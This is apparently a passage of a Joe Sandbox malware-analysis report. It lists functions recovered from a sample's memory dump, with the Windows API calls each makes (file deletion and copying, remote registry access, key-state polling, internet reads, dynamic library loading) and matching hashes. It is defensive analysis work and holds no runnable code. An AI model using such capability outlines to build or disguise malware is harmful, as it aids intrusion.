Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: 685e76d49d0c0599f32aa529235d4e99c93b12f77d4b7a7161479d0591f630fd
Instruction ID: cf264d2b584d901d701e47c044a955c78ba24434dc9bca83246cba6c233affbc
Opcode Fuzzy Hash: 685e76d49d0c0599f32aa529235d4e99c93b12f77d4b7a7161479d0591f630fd
Instruction Fuzzy Hash: BED0C231A036335B8B221B267C08E8F6B2CEF81B953151613B800F7194CF20CD02C1D1

Function 00EB2947 Relevance: 7.8, APIs: 5, Instructions: 313fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00EB2C05
DeleteFileW.KERNEL32(?), ref: 00EB2C87
CopyFileW.KERNEL32(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00EB2C9D
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00EB2CAE
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00EB2CC0

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: File$Delete$Copy
String ID:
API String ID: 3226157194-0
Opcode ID: 9d87398a57916e2af890cfcc43cc271717bd5d886e425c1a8d42abb2bd5abce6
Instruction ID: 74df4bf540242c12a642b7919f6b0f7ff8dd6a1e75fc6ea64051c57a71125987
Opcode Fuzzy Hash: 9d87398a57916e2af890cfcc43cc271717bd5d886e425c1a8d42abb2bd5abce6
Instruction Fuzzy Hash: 0FB13A72A01119ABDF21DFA4DC85EDFBBBDEF48350F1050AAF609F6151EA309A448F61

Function 00ECA387 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00ECA427
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00ECA435
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00ECA468
CloseHandle.KERNEL32(?), ref: 00ECA63D

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: 74dccc195e38275952283b3ab0844b3a31a4f490e99d76ddc150d3e02205b561
Instruction ID: e81242b043f1189b3a933e80154d22d4634f8b5ed72fe5fa2b9d69a330efe4b1
Opcode Fuzzy Hash: 74dccc195e38275952283b3ab0844b3a31a4f490e99d76ddc150d3e02205b561
Instruction Fuzzy Hash: 8DA1C1716043009FD720DF24D986F2AB7E1AF84718F18985DF95AAB392D771EC05CB82

Function 00E7BB27 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00EE3700), ref: 00E7BB91
WideCharToMultiByte.KERNEL32(00000000,00000000,00F1121C,000000FF,00000000,0000003F,00000000,?,?), ref: 00E7BC09
WideCharToMultiByte.KERNEL32(00000000,00000000,00F11270,000000FF,?,0000003F,00000000,?), ref: 00E7BC36
_free.LIBCMT ref: 00E7BB7F

Part of subcall function 00E729C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00E7D7D1,00000000,00000000,00000000,00000000,?,00E7D7F8,00000000,00000007,00000000,?,00E7DBF5,00000000), ref: 00E729DE
Part of subcall function 00E729C8: GetLastError.KERNEL32(00000000,?,00E7D7D1,00000000,00000000,00000000,00000000,?,00E7D7F8,00000000,00000007,00000000,?,00E7DBF5,00000000,00000000), ref: 00E729F0

_free.LIBCMT ref: 00E7BD4B

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 1286116820-0
Opcode ID: f6b5f7afd60a0be80cb66775a3c93d6589d658a434b3b910fa13fd045f9c3eed
Instruction ID: 9ec80f9b5c5370bc0d3b5d92d5f3b7486b8abfc9888ea757a3d79a15d5e9dbd3
Opcode Fuzzy Hash: f6b5f7afd60a0be80cb66775a3c93d6589d658a434b3b910fa13fd045f9c3eed
Instruction Fuzzy Hash: B451E371900209AFCB20EF659C81AAEB7BCFF40354B11D26AE658F7191EB709E419B90

Function 00EAE3FB Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EADDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00EACF22,?), ref: 00EADDFD

Part of subcall function 00EADDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00EACF22,?), ref: 00EADE16

Part of subcall function 00EAE199: GetFileAttributesW.KERNEL32(?,00EACF95), ref: 00EAE19A

lstrcmpiW.KERNEL32(?,?), ref: 00EAE473
MoveFileW.KERNEL32(?,?), ref: 00EAE4AC
_wcslen.LIBCMT ref: 00EAE5EB
_wcslen.LIBCMT ref: 00EAE603
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 00EAE650

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: 4fffc37df1ad8ea38d65ad114a0e2a98afd416b9b4214b492b98ae7630fc1d26
Instruction ID: c9b7f0c46393860761603c79110719b1bb92513c94719fdaa37aa6efa8532d7b
Opcode Fuzzy Hash: 4fffc37df1ad8ea38d65ad114a0e2a98afd416b9b4214b492b98ae7630fc1d26
Instruction Fuzzy Hash: C25193B24083459BC724DB94EC819DBB3ECAF99344F10191EF589E7192EF34B5888766

Function 00ECB9C9 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

Part of subcall function 00ECC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00ECB6AE,?,?), ref: 00ECC9B5
Part of subcall function 00ECC998: _wcslen.LIBCMT ref: 00ECC9F1
Part of subcall function 00ECC998: _wcslen.LIBCMT ref: 00ECCA68
Part of subcall function 00ECC998: _wcslen.LIBCMT ref: 00ECCA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00ECBAA5
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00ECBB00
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00ECBB63
RegCloseKey.ADVAPI32(?,?), ref: 00ECBBA6
RegCloseKey.ADVAPI32(00000000), ref: 00ECBBB3

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 826366716-0
Opcode ID: ed70b07f19392b05eaaf879fc978ddf3c07f8d656895a689dab2052be7e3e45d
Instruction ID: f7a88e900281ebca27ea71c7c6157301807f4f352db61dad3aea93e297cadce8
Opcode Fuzzy Hash: ed70b07f19392b05eaaf879fc978ddf3c07f8d656895a689dab2052be7e3e45d
Instruction Fuzzy Hash: D461B131208241AFC314DF14C591F2ABBE5FF84308F14955DF499AB2A2CB32ED46CB92

Function 00EA8BB0 Relevance: 7.7, APIs: 5, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00EA8BCD
VariantClear.OLEAUT32 ref: 00EA8C3E
VariantClear.OLEAUT32 ref: 00EA8C9D
VariantClear.OLEAUT32(?), ref: 00EA8D10
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00EA8D3B

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: b5d9c4d64393562bfe1e18aeb4b37633a2d4b5d9a6cd036990f6e7be2eaad840
Instruction ID: 13939e7ca9ba1c99436b7c5c30617b2c4f2268f0300e26e00f23936bae498ed8
Opcode Fuzzy Hash: b5d9c4d64393562bfe1e18aeb4b37633a2d4b5d9a6cd036990f6e7be2eaad840
Instruction Fuzzy Hash: 0A5169B5A0021AEFCB14CF68D894AAAB7F8FF8D314B158559E915EB350E730E911CF90

Function 00EB8AFB Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00EB8BAE
GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 00EB8BDA
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00EB8C32
WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00EB8C57
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00EB8C5F

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: 22687b5c453527a89b0b1ace51b080aa315fa603f44a43005d1e564285f31243
Instruction ID: 9b077bf75f593496199fbb27c5c5b8fe5cc4b25e052cb51899ce243178fe6e66
Opcode Fuzzy Hash: 22687b5c453527a89b0b1ace51b080aa315fa603f44a43005d1e564285f31243
Instruction Fuzzy Hash: F0516835A00215AFCB00DF64D881AAEBBF5FF48314F089459E849AB362CB35ED41CF91

Function 00EC8EE4 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,?), ref: 00EC8F40
GetProcAddress.KERNEL32(00000000,?), ref: 00EC8FD0
GetProcAddress.KERNEL32(00000000,00000000), ref: 00EC8FEC
GetProcAddress.KERNEL32(00000000,?), ref: 00EC9032
FreeLibrary.KERNEL32(00000000), ref: 00EC9052

Part of subcall function 00E5F6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00EB1043,?,7529E610), ref: 00E5F6E6
Part of subcall function 00E5F6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00E9FA64,00000000,00000000,?,?,00EB1043,?,7529E610,?,00E9FA64), ref: 00E5F70D

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: a9437bddb9d00975fa404fa061da138d040e1843e1dc5349fd015219b69662b7
Instruction ID: aa355bd4e8cb84cb994bc38e46ae54be88ef8ad67cdfa28c280b8574e26525e6
Opcode Fuzzy Hash: a9437bddb9d00975fa404fa061da138d040e1843e1dc5349fd015219b69662b7
Instruction Fuzzy Hash: 3C514934601245DFC715DF58C685DADBBF1FF49314B0490A9E80AAB362DB32ED86CB90

Function 00ED6B76 Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(00000002,000000F0,?), ref: 00ED6C33
SetWindowLongW.USER32(?,000000EC,?), ref: 00ED6C4A
SendMessageW.USER32(00000002,00001036,00000000,?), ref: 00ED6C73
ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,00EBAB79,00000000,00000000), ref: 00ED6C98
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 00ED6CC7

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Window$Long$MessageSendShow
String ID:
API String ID: 3688381893-0
Opcode ID: cd24e5426c96d44d4a7f8b964efee2fc7fa0d45c1b4c2f3f8fb3eb07190b31d9
Instruction ID: 799f39137f5f52045aecca97fab1c80b62ce69a3fc543ed0ffc5c003a9d17f9f
Opcode Fuzzy Hash: cd24e5426c96d44d4a7f8b964efee2fc7fa0d45c1b4c2f3f8fb3eb07190b31d9
Instruction Fuzzy Hash: 5E41F235A10104AFDB24CF28CD58FE9BBA5EB09364F15122AF999B73E0C371ED42DA40

Function 00E72051 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00E720C3
_free.LIBCMT ref: 00E720E3

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 64f8b19f632615cf1a276ba881ab003d14d69f53de49c0016f29dd456f6d3117
Instruction ID: cd7e69a10f852b5aab075beab2ad2d339550c3e0b27d0774d95a3b93812abff3
Opcode Fuzzy Hash: 64f8b19f632615cf1a276ba881ab003d14d69f53de49c0016f29dd456f6d3117
Instruction Fuzzy Hash: 2141D032A002049FCB24DF78C881A5AB3E5EF89714F1595ACEA19FB391DA31AD01CB91

Function 00E5912D Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00E59141
ScreenToClient.USER32(00000000,?), ref: 00E5915E
GetAsyncKeyState.USER32(00000001), ref: 00E59183
GetAsyncKeyState.USER32(00000002), ref: 00E5919D

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 76d069d338b80cf55d25338acacce8cfde2718ba0fec15de47143e74676e0f7a
Instruction ID: baf4d275da3b464599714efb5dfd114e718788abab21433b877a6f279035e678
Opcode Fuzzy Hash: 76d069d338b80cf55d25338acacce8cfde2718ba0fec15de47143e74676e0f7a
Instruction Fuzzy Hash: 6C41AE31A0961AEBCF059F65C844BEEB7B4FB05324F20961AE865B3291C7306D58CB91

Function 00EB3874 Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00EB38CB
TranslateAcceleratorW.USER32(?,00000000,?), ref: 00EB3922
TranslateMessage.USER32(?), ref: 00EB394B
DispatchMessageW.USER32(?), ref: 00EB3955
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00EB3966

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: dc01d18e4c4d446e3876b5eb96921b573e6120377a83fe4a74e6a56e34579d24
Instruction ID: c6728e7153dd4feb5041d68c68f5db282ea6e8817dee8268f75e6e9e142d2f22
Opcode Fuzzy Hash: dc01d18e4c4d446e3876b5eb96921b573e6120377a83fe4a74e6a56e34579d24
Instruction Fuzzy Hash: 1131F770504346AEEB35CB35AC4ABF737A8EB45308F14556EE562F20E4E7B0A684DB11

Function 00EBCF1A Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,00000000,?,?,?,00EBC21E,00000000), ref: 00EBCF38
InternetReadFile.WININET(?,00000000,?,?), ref: 00EBCF6F
GetLastError.KERNEL32(?,00000000,?,?,?,00EBC21E,00000000), ref: 00EBCFB4
SetEvent.KERNEL32(?,?,00000000,?,?,?,00EBC21E,00000000), ref: 00EBCFC8
SetEvent.KERNEL32(?,?,00000000,?,?,?,00EBC21E,00000000), ref: 00EBCFF2

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: EventInternet$AvailableDataErrorFileLastQueryRead
String ID:
API String ID: 3191363074-0
Opcode ID: db21041466e704874fabf1d39b893c22068ffae5205cac6ff16079dadd86be1f
Instruction ID: ebd7083ffc46257bbc1cc54fab4837c6c59a6fdefd3c0d55717972259e33a59b
Opcode Fuzzy Hash: db21041466e704874fabf1d39b893c22068ffae5205cac6ff16079dadd86be1f
Instruction Fuzzy Hash: AC317F71608206AFDB20DFA5D884AFBBBF9EB04355B20546EF506F2110DB30ED44DB60

Function 00EA1901 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00EA1915
PostMessageW.USER32(00000001,00000201,00000001), ref: 00EA19C1
Sleep.KERNEL32(00000000,?,?,?), ref: 00EA19C9
PostMessageW.USER32(00000001,00000202,00000000), ref: 00EA19DA
Sleep.KERNEL32(00000000,?,?,?,?), ref: 00EA19E2

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: abbb4e803998ab71ff554713817aab1b2926695a6e3632324af8e15125375e15
Instruction ID: 9ae2c9aff18c90bc5f528b2adfab5caa044e1170d5e16431cf0b92fc0fdb2b60
Opcode Fuzzy Hash: abbb4e803998ab71ff554713817aab1b2926695a6e3632324af8e15125375e15
Instruction Fuzzy Hash: 7931BF71A00219EFCB00CFA8DD99ADE3BB5EB49319F105269F921BB2D1C770A944CB91

Function 00ED5706 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001053,000000FF,?), ref: 00ED5745
SendMessageW.USER32(?,00001074,?,00000001), ref: 00ED579D
_wcslen.LIBCMT ref: 00ED57AF
_wcslen.LIBCMT ref: 00ED57BA
SendMessageW.USER32(?,00001002,00000000,?), ref: 00ED5816

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageSend$_wcslen
String ID:
API String ID: 763830540-0
Opcode ID: 7853552fc24abcfea64eb0c5ac2e4d8574659fcff593a9d0fdde61b70bbf8ef4
Instruction ID: 28abeefc88f35858909d67efaf2f1050308fd46c2695c9a7c6265eae038dc50d
Opcode Fuzzy Hash: 7853552fc24abcfea64eb0c5ac2e4d8574659fcff593a9d0fdde61b70bbf8ef4
Instruction Fuzzy Hash: 4A218272904618DADB209FA4DC85AEE77B8FF44764F109217F929FA2C0D7708986CF51

Function 00EC0930 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00EC0951
GetForegroundWindow.USER32 ref: 00EC0968
GetDC.USER32(00000000), ref: 00EC09A4
GetPixel.GDI32(00000000,?,00000003), ref: 00EC09B0
ReleaseDC.USER32(00000000,00000003), ref: 00EC09E8

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
